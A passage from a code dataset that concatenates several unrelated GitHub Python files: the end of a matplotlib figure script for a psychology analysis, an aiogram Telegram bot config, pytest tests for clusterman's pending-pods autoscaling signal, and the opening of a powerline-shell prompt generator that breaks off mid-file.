.mean(),\n color=\"black\",\n lw=0.5,\n )\n else:\n k1 = ax.plot(\n np.arange(9),\n data[data[\"weight_type\"] == \"model_k1\"]\n .groupby(\"number\")[\"weight\"]\n .mean(),\n color=\"black\",\n lw=0.5,\n )\n\n ax.axhline(0.5, xmax=0.95, **axhline_args)\n\n # plot insets\n # bias = df_estims[df_estims[\"stream\"] == stream][\"bias\"].mean()\n kappa = df_estims[df_estims[\"stream\"] == stream][\"kappa\"].mean()\n xs = np.linspace(-1, 1, 9) # \"numbers_rescaled\"\n ys = eq1(X=xs, bias=0, kappa=kappa)\n size = 1.0\n axins = inset_axes(\n ax,\n width=size,\n height=size,\n loc=\"upper left\",\n bbox_to_anchor=(0.02, 1),\n bbox_transform=ax.transAxes,\n )\n axins.plot(xs, ys, color=f\"C{STREAMS.index(stream)}\")\n\n if insets_plot_other:\n _kappa = df_estims[\n df_estims[\"stream\"]\n == f\"{STREAMS[dict(zip((0, 1), (1, 0)))[STREAMS.index(stream)]]}\"\n ][\"kappa\"].mean()\n _ys = eq1(X=xs, bias=0, kappa=_kappa)\n axins.plot(\n xs,\n _ys,\n color=f\"C{dict(zip((0, 1), (1, 0)))[STREAMS.index(stream)]}\",\n zorder=-1,\n linestyle=\"--\",\n linewidth=0.75,\n )\n\n if draw_model_free_lines:\n y1 = data[(data[\"weight_type\"] == \"data\") & (data[\"number\"] == 1)][\n \"weight\"\n ].mean()\n y2 = data[(data[\"weight_type\"] == \"data\") & (data[\"number\"] == 2)][\n \"weight\"\n ].mean()\n y4 = data[(data[\"weight_type\"] == \"data\") & (data[\"number\"] == 4)][\n \"weight\"\n ].mean()\n y6 = data[(data[\"weight_type\"] == \"data\") & (data[\"number\"] == 6)][\n \"weight\"\n ].mean()\n y8 = data[(data[\"weight_type\"] == \"data\") & (data[\"number\"] == 8)][\n \"weight\"\n ].mean()\n y9 = data[(data[\"weight_type\"] == \"data\") & (data[\"number\"] == 9)][\n \"weight\"\n ].mean()\n\n _kwargs = dict(color=\"red\", lw=0.75, zorder=100)\n\n _coefs = np.polyfit((0, 1), (y1, y2), 1)\n polynomial = np.poly1d(_coefs)\n ax.plot(np.linspace(-3, 4), polynomial(np.linspace(-3, 4)), **_kwargs)\n\n _coefs = np.polyfit((3, 5), (y4, y6), 1)\n polynomial = np.poly1d(_coefs)\n ax.plot(np.linspace(0, 8), polynomial(np.linspace(0, 8)), **_kwargs)\n\n _coefs = np.polyfit((7, 8), (y8, y9), 1)\n polynomial = np.poly1d(_coefs)\n ax.plot(np.linspace(4, 11), polynomial(np.linspace(4, 11)), **_kwargs)\n\n axins.axhline(0, lw=0.1, color=\"black\")\n sns.despine(ax=axins)\n axins.set_xticks([])\n axins.set_yticks([])\n\n # inset label\n axins.text(\n x=0.175,\n y=0.675,\n s=r\"$\\widehat{k}$\" + f\"$ = {kappa:.2f}$\",\n ha=\"left\",\n va=\"center\",\n transform=ax.transAxes,\n fontsize=12,\n zorder=100,\n color=f\"C{istream}\",\n )\n\n # make a legend\n if istream in [0, 1]:\n handles = [\n Line2D([0], [0], color=f\"C{istream}\", marker=\"o\", lw=4),\n Line2D(\n [0],\n [0],\n marker=\"o\",\n color=\"white\",\n markerfacecolor=\"black\",\n markersize=8,\n ),\n Line2D([0], [0], color=\"black\"),\n ]\n\n ax.legend(\n handles=handles,\n labels=[\"Data\", f\"Model (k={kappa:.2f})\", \"Model (k=1.00)\"],\n loc=\"lower right\",\n ncol=1,\n frameon=False,\n fontsize=10,\n )\n\n # other settings\n sns.despine(ax=ax)\n ax.set(xlabel=\"\", ylabel=\"Decision weight\")\n ax.set_title(stream.capitalize())\n\nfor ax in axs[0, 1:]:\n ax.set_ylim(\n (\n min(axs[0, 1].get_ylim()[0], axs[0, 2].get_ylim()[0]),\n max(axs[0, 1].get_ylim()[1], axs[0, 2].get_ylim()[1]),\n )\n )\n\n\n# %%\n# panels e, f, g - kappa, bias, noise\nparam_names = [\"kappa\", \"bias\", \"noise\"]\ndf_estims = df_estims[[\"subject\", \"stream\"] + param_names].melt(\n id_vars=[\"subject\", \"stream\"], var_name=\"parameter\"\n)\n\norder = STREAMS\nx = \"stream\"\ncolname = \"value\"\nhlines = dict(kappa=1, bias=0, noise=0)\nwith sns.plotting_context(\"talk\"):\n\n for iparam, param in enumerate(param_names):\n ax = axs[1, iparam]\n\n data = df_estims[df_estims[\"parameter\"] == param]\n\n sns.pointplot(\n data=data,\n x=x,\n order=order,\n y=colname,\n ci=68,\n ax=ax,\n markers=pointmarkers,\n scale=pointscale,\n errwidth=pointerrwidth,\n capsize=pointcapwidth,\n color=\"black\",\n )\n\n sns.swarmplot(\n x=x,\n order=order,\n y=colname,\n data=data,\n ax=ax,\n size=swarmsize,\n )\n\n # connect subj dots with lines\n # https://stackoverflow.com/a/51157346/5201771\n _idx1, _idx2 = find_dot_idxs(ax, int(df_accs.shape[0] / 2))\n locs1 = ax.get_children()[_idx1].get_offsets()\n locs2 = ax.get_children()[_idx2].get_offsets()\n\n # before plotting, we need to sort so that the data points correspond\n sort_idxs1 = np.argsort(data[data[\"stream\"] == STREAMS[0]][colname].to_numpy())\n sort_idxs2 = np.argsort(data[data[\"stream\"] == STREAMS[1]][colname].to_numpy())\n locs2_sorted = locs2[sort_idxs2.argsort()][sort_idxs1]\n\n for i in range(locs1.shape[0]):\n _x = [locs1[i, 0], locs2_sorted[i, 0]]\n _y = [locs1[i, 1], locs2_sorted[i, 1]]\n ax.plot(_x, _y, **subj_line_settings)\n\n ax.axhline(hlines[param], xmax=0.95, **axhline_args)\n sns.despine(ax=ax)\n\n ax.text(\n x=0.5,\n y=0.9,\n s=param,\n ha=\"center\",\n va=\"center\",\n transform=ax.transAxes,\n )\n\n ylabel = dict(kappa=\"$k$\", bias=\"$b$\", noise=\"$s$\")[param]\n ax.set_xlabel(\"\")\n ax.set_ylabel(ylabel)\n ax.set_xticklabels([i.capitalize() for i in STREAMS])\n\n# %%\n# Final settings and save\n# axs[1, 0].set_yscale(\"log\")\n# axs[1, 0].set_ylim(0.2, None)\n# Save the figure\nfig.savefig(fname_fig1, bbox_inches=\"tight\")\n\n# %%\n", "repo_name": "sappelhoff/ecomp_analysis", "sub_path": "plots_fig1.py", "file_name": "plots_fig1.py", "file_ext": "py", "file_size_in_byte": 11573, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "config.ANALYSIS_DIR_LOCAL", "line_number": 17, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 54, "usage_type": "call"}, {"api_name": "seaborn.plotting_context", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 68, "usage_type": "call"}, {"api_name": "seaborn.plotting_context", "line_number": 69, "usage_type": "call"}, {"api_name": "config.STREAMS", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc_context", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "seaborn.pointplot", "line_number": 78, "usage_type": "call"}, {"api_name": "seaborn.swarmplot", "line_number": 92, "usage_type": "call"}, {"api_name": "utils.find_dot_idxs", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 113, "usage_type": "call"}, {"api_name": "config.STREAMS", "line_number": 113, "usage_type": "name"}, {"api_name": "numpy.argsort", "line_number": 114, "usage_type": "call"}, {"api_name": "config.STREAMS", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.MaxNLocator", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "config.STREAMS", "line_number": 123, "usage_type": "name"}, {"api_name": "seaborn.despine", "line_number": 125, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 129, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 132, "usage_type": "call"}, {"api_name": "seaborn.plotting_context", "line_number": 135, "usage_type": "call"}, {"api_name": "config.STREAMS", "line_number": 137, "usage_type": "argument"}, {"api_name": "seaborn.pointplot", "line_number": 144, "usage_type": "call"}, {"api_name": "seaborn.pointplot", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 191, "usage_type": "call"}, {"api_name": "utils.eq1", "line_number": 192, "usage_type": "call"}, {"api_name": "mpl_toolkits.axes_grid1.inset_locator.inset_axes", "line_number": 194, "usage_type": "call"}, {"api_name": "config.STREAMS.index", "line_number": 202, "usage_type": "call"}, {"api_name": "config.STREAMS", "line_number": 202, "usage_type": "name"}, {"api_name": "config.STREAMS", "line_number": 207, "usage_type": "name"}, {"api_name": "config.STREAMS.index", "line_number": 207, "usage_type": "call"}, {"api_name": "utils.eq1", "line_number": 209, "usage_type": "call"}, {"api_name": "config.STREAMS.index", "line_number": 213, "usage_type": "call"}, {"api_name": "config.STREAMS", "line_number": 213, "usage_type": "name"}, {"api_name": "numpy.polyfit", "line_number": 241, "usage_type": "call"}, {"api_name": "numpy.poly1d", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 243, "usage_type": "call"}, {"api_name": "numpy.polyfit", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.poly1d", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.polyfit", "line_number": 249, "usage_type": "call"}, {"api_name": "numpy.poly1d", "line_number": 250, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 251, "usage_type": "call"}, {"api_name": "seaborn.despine", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 274, "usage_type": "call"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 275, "usage_type": "call"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 283, "usage_type": "call"}, {"api_name": "seaborn.despine", "line_number": 296, "usage_type": "call"}, {"api_name": "config.STREAMS", "line_number": 316, "usage_type": "name"}, {"api_name": "seaborn.plotting_context", "line_number": 320, "usage_type": "call"}, {"api_name": "seaborn.pointplot", "line_number": 327, "usage_type": "call"}, {"api_name": "seaborn.swarmplot", "line_number": 341, "usage_type": "call"}, {"api_name": "utils.find_dot_idxs", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 357, "usage_type": "call"}, {"api_name": "config.STREAMS", "line_number": 357, "usage_type": "name"}, {"api_name": "numpy.argsort", "line_number": 358, "usage_type": "call"}, {"api_name": "config.STREAMS", "line_number": 358, "usage_type": "name"}, {"api_name": "seaborn.despine", "line_number": 367, "usage_type": "call"}, {"api_name": "config.STREAMS", "line_number": 381, "usage_type": "name"}]} {"seq_id": "43524906700", "text": "import datetime\nimport logging\nimport os\n\nfrom dotenv import load_dotenv\nfrom pymongo import MongoClient\n\nfrom aiogram.utils.exceptions import BotBlocked, BotKicked, UserDeactivated\n\nload_dotenv()\n\nBOT_TOKEN = os.getenv(\"BOT_TOKEN\")\nMONGO_URL = os.getenv(\"MONGO_URL\")\nADMIN_IDS = tuple(os.getenv(\"ADMIN_IDS\").split(\",\"))\nGROUP_ID = int(os.getenv(\"GROUP_ID\"))\n\n\ncluster = MongoClient(MONGO_URL)\ncollusers = cluster.bot.users\ncollreports = cluster.bot.reports\ncollquestions = cluster.bot.questions\ncollanswers = cluster.bot.answers\n\nall_content_types = [\"text\", \"sticker\", \"photo\",\n \"voice\", \"document\", \"video\", \"video_note\"]\n\nif not os.getenv(\"DEBUG\"):\n formatter = '[%(asctime)s] %(levelname)8s --- %(message)s (%(filename)s:%(lineno)s)'\n logging.basicConfig(\n filename=f'logs/bot-from-{datetime.datetime.now().date()}.log',\n filemode='w',\n format=formatter,\n datefmt='%Y-%m-%d %H:%M:%S',\n level=logging.WARNING\n )\n\n\nasync def on_startup(dp):\n print(\"Bot are started!\")\n for i in ADMIN_IDS:\n try:\n await dp.bot.send_message(i, \"Bot are start!\")\n except (BotKicked, BotBlocked, UserDeactivated):\n pass\n\n\nasync def on_shutdown(dp):\n logging.warning(\"Shutting down..\")\n for i in ADMIN_IDS:\n try:\n await dp.bot.send_message(i, \"Bot are shutting down!\")\n except (BotKicked, BotBlocked, UserDeactivated):\n pass\n await dp.storage.close()\n await dp.storage.wait_closed()\n logging.warning(\"Bye!\")\n", "repo_name": "qayrat-sultan/aiogram-polls", "sub_path": "configs.py", "file_name": "configs.py", "file_ext": "py", "file_size_in_byte": 1546, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 10, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 12, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 13, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 14, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 15, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 18, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 27, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 30, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 34, "usage_type": "attribute"}, {"api_name": "aiogram.utils.exceptions.BotKicked", "line_number": 43, "usage_type": "name"}, {"api_name": "aiogram.utils.exceptions.BotBlocked", "line_number": 43, "usage_type": "name"}, {"api_name": "aiogram.utils.exceptions.UserDeactivated", "line_number": 43, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 48, "usage_type": "call"}, {"api_name": "aiogram.utils.exceptions.BotKicked", "line_number": 52, "usage_type": "name"}, {"api_name": "aiogram.utils.exceptions.BotBlocked", "line_number": 52, "usage_type": "name"}, {"api_name": "aiogram.utils.exceptions.UserDeactivated", "line_number": 52, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 56, "usage_type": "call"}]} {"seq_id": "33591070258", "text": "import datetime\nfrom unittest import mock\n\nimport pytest\nimport staticconf\nimport staticconf.testing\nfrom kubernetes.client import V1Container\nfrom kubernetes.client import V1ObjectMeta\nfrom kubernetes.client import V1Pod\nfrom kubernetes.client import V1PodCondition\nfrom kubernetes.client import V1PodSpec\nfrom kubernetes.client import V1PodStatus\nfrom kubernetes.client import V1ResourceRequirements\n\nfrom clusterman.signals.pending_pods_signal import PendingPodsSignal\nfrom clusterman.util import ClustermanResources\nfrom clusterman.util import SignalResourceRequest\n\n\n@pytest.fixture\ndef pending_pods_signal():\n with staticconf.testing.PatchConfiguration({\"autoscale_signal.period_minutes\": 5}, namespace=\"bar.kube_config\"):\n return PendingPodsSignal(\n \"foo\",\n \"bar\",\n \"kube\",\n \"app1\",\n \"bar.kube_config\",\n mock.Mock(),\n mock.Mock(get_unschedulable_pods=mock.Mock(return_value=[])),\n )\n\n\n@pytest.fixture\ndef allocated_resources():\n return ClustermanResources(cpus=150, mem=300000, disk=500000, gpus=0)\n\n\n@pytest.fixture\ndef total_resources():\n return ClustermanResources(cpus=200, mem=350000, disk=750000, gpus=0)\n\n\n@pytest.fixture\ndef target_capacity_margin():\n return 0.02\n\n\n@pytest.fixture\ndef pending_pods():\n return [\n V1Pod(\n metadata=V1ObjectMeta(\n name=\"pod1\",\n creation_timestamp=datetime.datetime(2023, 1, 1, 12, 0, 0, tzinfo=datetime.timezone.utc),\n ),\n status=V1PodStatus(\n phase=\"Pending\",\n conditions=[V1PodCondition(status=\"False\", type=\"PodScheduled\", reason=\"Unschedulable\")],\n ),\n spec=V1PodSpec(\n containers=[\n V1Container(\n name=\"container1\",\n resources=V1ResourceRequirements(requests={\"cpu\": \"1.5\", \"memory\": \"1500MB\"}),\n ),\n V1Container(\n name=\"container1\",\n resources=V1ResourceRequirements(requests={\"cpu\": \"1.5\", \"memory\": \"3500MB\"}),\n ),\n ]\n ),\n ),\n ]\n\n\n# Just the existing resources, no pending pods\ndef test_get_resource_request_no_pending_pods(allocated_resources, pending_pods_signal):\n assert pending_pods_signal._get_resource_request(allocated_resources) == SignalResourceRequest(\n cpus=150,\n mem=300000,\n disk=500000,\n gpus=0,\n )\n\n\n# Just the increase from pending pods (2 pods with 1.5 CPU = 3 x default multiplier 2), with no existing resources\ndef test_get_resource_request_only_pending_pods(pending_pods, pending_pods_signal):\n assert pending_pods_signal._get_resource_request(ClustermanResources(), pending_pods) == SignalResourceRequest(\n cpus=6,\n mem=10000,\n disk=0,\n gpus=0,\n )\n\n\n# Existing resources AND pending pods, so sum of both\ndef test_get_resource_request_pending_pods_and_metrics(allocated_resources, pending_pods, pending_pods_signal):\n assert pending_pods_signal._get_resource_request(allocated_resources, pending_pods) == SignalResourceRequest(\n cpus=156,\n mem=310000,\n disk=500000,\n gpus=0,\n )\n\n\n# Increase from pending pods but higher multipler\ndef test_get_resource_request_only_pending_pods_custom_multipler(pending_pods, pending_pods_signal):\n pending_pods_signal.parameters[\"pending_pods_multiplier\"] = 20\n assert pending_pods_signal._get_resource_request(ClustermanResources(), pending_pods) == SignalResourceRequest(\n cpus=60,\n mem=100000,\n disk=0,\n gpus=0,\n )\n\n\ndef test_get_resource_request_v2_no_pending_pods(\n allocated_resources,\n total_resources,\n target_capacity_margin,\n pending_pods_signal,\n):\n assert pending_pods_signal._get_resource_request_v2(\n allocated_resources,\n total_resources,\n target_capacity_margin,\n ) == SignalResourceRequest(cpus=150, mem=300000, disk=500000, gpus=0)\n\n\ndef test_get_resource_request_v2_pending_pods_and_metrics(\n allocated_resources,\n total_resources,\n target_capacity_margin,\n pending_pods,\n pending_pods_signal,\n):\n assert pending_pods_signal._get_resource_request_v2(\n allocated_resources,\n total_resources,\n target_capacity_margin,\n pending_pods,\n ) == SignalResourceRequest(cpus=206, mem=360000, disk=750000, gpus=0)\n\n\ndef test_get_resource_request_v2_pending_pods_and_metrics_bigger_margin(\n allocated_resources,\n total_resources,\n pending_pods,\n pending_pods_signal,\n):\n assert pending_pods_signal._get_resource_request_v2(\n allocated_resources,\n total_resources,\n 0.05,\n pending_pods,\n ) == SignalResourceRequest(cpus=210, mem=367500, disk=787500, gpus=0)\n", "repo_name": "Yelp/clusterman", "sub_path": "tests/signals/pending_pods_signal_test.py", "file_name": "pending_pods_signal_test.py", "file_ext": "py", "file_size_in_byte": 4892, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 296, "dataset": "github-code", "pt": "7", "api": [{"api_name": "staticconf.testing.PatchConfiguration", "line_number": 22, "usage_type": "call"}, {"api_name": "staticconf.testing", "line_number": 22, "usage_type": "attribute"}, {"api_name": "clusterman.signals.pending_pods_signal.PendingPodsSignal", "line_number": 23, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 29, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 29, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 30, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 30, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 20, "usage_type": "attribute"}, {"api_name": "clusterman.util.ClustermanResources", "line_number": 36, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 34, "usage_type": "attribute"}, {"api_name": "clusterman.util.ClustermanResources", "line_number": 41, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 44, "usage_type": "attribute"}, {"api_name": "kubernetes.client.V1Pod", "line_number": 52, "usage_type": "call"}, {"api_name": "kubernetes.client.V1ObjectMeta", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.timezone", "line_number": 55, "usage_type": "attribute"}, {"api_name": "kubernetes.client.V1PodStatus", "line_number": 57, "usage_type": "call"}, {"api_name": "kubernetes.client.V1PodCondition", "line_number": 59, "usage_type": "call"}, {"api_name": "kubernetes.client.V1PodSpec", "line_number": 61, "usage_type": "call"}, {"api_name": "kubernetes.client.V1Container", "line_number": 63, "usage_type": "call"}, {"api_name": "kubernetes.client.V1ResourceRequirements", "line_number": 65, "usage_type": "call"}, {"api_name": "kubernetes.client.V1Container", "line_number": 67, "usage_type": "call"}, {"api_name": "kubernetes.client.V1ResourceRequirements", "line_number": 69, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 49, "usage_type": "attribute"}, {"api_name": "clusterman.util.SignalResourceRequest", "line_number": 79, "usage_type": "call"}, {"api_name": "clusterman.util.ClustermanResources", "line_number": 89, "usage_type": "call"}, {"api_name": "clusterman.util.SignalResourceRequest", "line_number": 89, "usage_type": "call"}, {"api_name": "clusterman.util.SignalResourceRequest", "line_number": 99, "usage_type": "call"}, {"api_name": "clusterman.util.ClustermanResources", "line_number": 110, "usage_type": "call"}, {"api_name": "clusterman.util.SignalResourceRequest", "line_number": 110, "usage_type": "call"}, {"api_name": "clusterman.util.SignalResourceRequest", "line_number": 128, "usage_type": "call"}, {"api_name": "clusterman.util.SignalResourceRequest", "line_number": 143, "usage_type": "call"}, {"api_name": "clusterman.util.SignalResourceRequest", "line_number": 157, "usage_type": "call"}]} {"seq_id": "12035295949", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import print_function\n\nimport argparse\nimport os\nimport sys\n\npy3 = sys.version_info.major == 3\n\n\ndef warn(msg):\n print('[powerline-bash] ', msg)\n\n\nif py3:\n def unicode(x):\n return x\n\n\nclass Powerline:\n symbols = {\n 'compatible': {\n 'lock': 'RO',\n 'network': 'SSH',\n 'separator': u'\\u25B6',\n 'separator_thin': u'\\u276F'\n },\n 'patched': {\n 'lock': u'\\uE0A2',\n 'network': u'\\uE0A2',\n 'separator': u'\\uE0B0',\n 'separator_thin': u'\\uE0B1'\n },\n 'flat': {\n 'lock': '',\n 'network': '',\n 'separator': '',\n 'separator_thin': ''\n },\n }\n\n color_templates = {\n 'bash': '\\\\[\\\\e%s\\\\]',\n 'zsh': '%%{\u001b%s%%}',\n 'bare': '\u001b%s',\n }\n\n def __init__(self, args, cwd):\n self.args = args\n self.cwd = cwd\n mode, shell = args.mode, args.shell\n self.color_template = self.color_templates[shell]\n self.reset = self.color_template % '[0m'\n self.lock = Powerline.symbols[mode]['lock']\n self.network = Powerline.symbols[mode]['network']\n self.separator = Powerline.symbols[mode]['separator']\n self.separator_thin = Powerline.symbols[mode]['separator_thin']\n self.segments = []\n\n def color(self, prefix, code):\n if code is None:\n return ''\n elif code is -1:\n return self.color_template % ('[0m')\n else:\n return self.color_template % ('[%s;5;%sm' % (prefix, code))\n\n def fgcolor(self, code):\n return self.color('38', code)\n\n def bgcolor(self, code):\n return self.color('48', code)\n\n def append(self, content, fg, bg, separator=None, separator_fg=None):\n self.segments.append((content, fg, bg,\n separator if separator is not None else self.separator,\n separator_fg if separator_fg is not None else bg))\n\n def draw(self):\n text = (''.join(self.draw_segment(i) for i in range(len(self.segments)))\n + self.reset) + ' '\n if py3:\n return text\n else:\n return text.encode('utf-8')\n\n def draw_segment(self, idx):\n segment = self.segments[idx]\n next_segment = self.segments[idx + 1] if idx < len(self.segments)-1 else None\n\n return ''.join((\n self.fgcolor(segment[1]),\n self.bgcolor(segment[2]),\n segment[0],\n self.bgcolor(next_segment[2]) if next_segment else self.reset,\n self.fgcolor(segment[4]),\n segment[3]))\n\n\nclass RepoStats:\n symbols = {\n 'detached': u'\\u2693',\n 'ahead': u'\\u2B06',\n 'behind': u'\\u2B07',\n 'staged': u'\\u2714',\n 'not_staged': u'\\u270E',\n 'untracked': u'\\u2753',\n 'conflicted': u'\\u273C'\n }\n\n def __init__(self):\n self.ahead = 0\n self.behind = 0\n self.untracked = 0\n self.not_staged = 0\n self.staged = 0\n self.conflicted = 0\n\n @property\n def dirty(self):\n qualifiers = [\n self.untracked,\n self.not_staged,\n self.staged,\n self.conflicted,\n ]\n return sum(qualifiers) > 0\n\n def __getitem__(self, _key):\n return getattr(self, _key)\n\n def n_or_empty(self, _key):\n \"\"\"Given a string name of one of the properties of this class, returns\n the value of the property as a string when the value is greater than\n 1. When it is not greater than one, returns an empty string.\n\n As an example, if you want to show an icon for untracked files, but you\n only want a number to appear next to the icon when there are more than\n one untracked files, you can do:\n\n segment = repo_stats.n_or_empty(\"untracked\") + icon_string\n \"\"\"\n return unicode(self[_key]) if int(self[_key]) > 1 else u''\n\n def add_to_powerline(self, powerline, color):\n def add(_key, fg, bg):\n if self[_key]:\n s = u\" {}{} \".format(self.n_or_empty(_key), self.symbols[_key])\n powerline.append(s, fg, bg)\n add('ahead', color.GIT_AHEAD_FG, color.GIT_AHEAD_BG)\n add('behind', color.GIT_BEHIND_FG, color.GIT_BEHIND_BG)\n add('staged', color.GIT_STAGED_FG, color.GIT_STAGED_BG)\n add('not_staged', color.GIT_NOTSTAGED_FG, color.GIT_NOTSTAGED_BG)\n add('untracked', color.GIT_UNTRACKED_FG, color.GIT_UNTRACKED_BG)\n add('conflicted', color.GIT_CONFLICTED_FG, color.GIT_CONFLICTED_BG)\n\n\ndef get_valid_cwd():\n \"\"\" We check if the current working directory is valid or not. Typically\n happens when you checkout a different branch on git that doesn't have\n this directory.\n We return the original cwd because the shell still considers that to be\n the working directory, so returning our guess will confuse people\n \"\"\"\n # Prefer the PWD environment variable. Python's os.getcwd function follows\n # symbolic links, which is undesirable. But if PWD is not set then fall\n # back to this func\n try:\n cwd = os.getenv('PWD') or os.getcwd()\n except:\n warn(\"Your current directory is invalid. If you open a ticket at \" +\n \"https://github.com/milkbikis/powerline-shell/issues/new \" +\n \"we would love to help fix the issue.\")\n sys.stdout.write(\"> \")\n sys.exit(1)\n\n parts = cwd.split(os.sep)\n up = cwd\n while parts and not os.path.exists(up):\n parts.pop()\n up = os.sep.join(parts)\n if cwd != up:\n warn(\"Your current directory is invalid. Lowest valid directory: \"\n + up)\n return cwd\n\n\nif __name__ == \"__main__\":\n arg_parser = argparse.ArgumentParser()\n arg_parser.add_argument('--cwd-mode', action='store',\n help='How to display the current directory', default='fancy',\n choices=['fancy', 'plain', 'dironly'])\n arg_parser.add_argument('--cwd-only', action='store_true',\n help='Deprecated. Use --cwd-mode=dironly')\n arg_parser.add_argument('--cwd-max-depth', action='store', type=int,\n default=5, help='Maximum number of directories to show in path')\n arg_parser.add_argument('--cwd-max-dir-size', action='store', type=int,\n help='Maximum number of letters displayed for each directory in the path')\n arg_parser.add_argument('--colorize-hostname', action='store_true',\n help='Colorize the hostname based on a hash of itself.')\n arg_parser.add_argument('--mode', action='store', default='patched',\n help='The characters used to make separators between segments',\n choices=['patched', 'compatible', 'flat'])\n arg_parser.add_argument('--shell', action='store', default='bash',\n help='Set this to your shell type', choices=['bash', 'zsh', 'bare'])\n arg_parser.add_argument('prev_error', nargs='?', type=int, default=0,\n help='Error code returned by the last command')\n args = arg_parser.parse_args()\n\n powerline = Powerline(args, get_valid_cwd())\n\n\nclass DefaultColor:\n \"\"\"\n This class should have the default colors for every segment.\n Please test every new segment with this theme first.\n \"\"\"\n USERNAME_FG = 250\n USERNAME_BG = 240\n USERNAME_ROOT_BG = 124\n\n HOSTNAME_FG = 250\n HOSTNAME_BG = 238\n\n HOME_SPECIAL_DISPLAY = True\n HOME_BG = 31 # blueish\n HOME_FG = 15 # white\n PATH_BG = 237 # dark grey\n PATH_FG = 250 # light grey\n CWD_FG = 254 # nearly-white grey\n SEPARATOR_FG = 244\n\n READONLY_BG = 124\n READONLY_FG = 254\n\n SSH_BG = 166 # medium orange\n SSH_FG = 254\n\n REPO_CLEAN_BG = 148 # a light green color\n REPO_CLEAN_FG = 0 # black\n REPO_DIRTY_BG = 161 # pink/red\n REPO_DIRTY_FG = 15 # white\n\n JOBS_FG = 39\n JOBS_BG = 238\n\n CMD_PASSED_BG = 236\n CMD_PASSED_FG = 15\n CMD_FAILED_BG = 161\n CMD_FAILED_FG = 15\n\n SVN_CHANGES_BG = 148\n SVN_CHANGES_FG = 22 # dark green\n\n GIT_AHEAD_BG = 240\n GIT_AHEAD_FG = 250\n GIT_BEHIND_BG = 240\n GIT_BEHIND_FG = 250\n GIT_STAGED_BG = 22\n GIT_STAGED_FG = 15\n GIT_NOTSTAGED_BG = 130\n GIT_NOTSTAGED_FG = 15\n GIT_UNTRACKED_BG = 52\n GIT_UNTRACKED_FG = 15\n GIT_CONFLICTED_BG = 9\n GIT_CONFLICTED_FG = 15\n\n VIRTUAL_ENV_BG = 35 # a mid-tone green\n VIRTUAL_ENV_FG = 00\n\nclass Color(DefaultColor):\n \"\"\"\n This subclass is required when the user chooses to use 'default' theme.\n Because the segments require a 'Color' class for every theme.\n \"\"\"\n pass\n\n\ndef add_set_term_title_segment(powerline):\n term = os.getenv('TERM')\n if not (('xterm' in term) or ('rxvt' in term)):\n return\n\n if powerline.args.shell == 'bash':\n set_title = '\\\\[\\\\e]0;\\\\u@\\\\h: \\\\w\\\\a\\\\]'\n elif powerline.args.shell == 'zsh':\n set_title = '\\033]0;%n@%m: %~\\007'\n else:\n import socket\n set_title = '\\033]0;%s@%s: %s\\007' % (os.getenv('USER'), socket.gethostname().split('.')[0], powerline.cwd or os.getenv('PWD'))\n\n powerline.append(set_title, None, None, '')\n\n\n\nadd_set_term_title_segment(powerline)\n\ndef 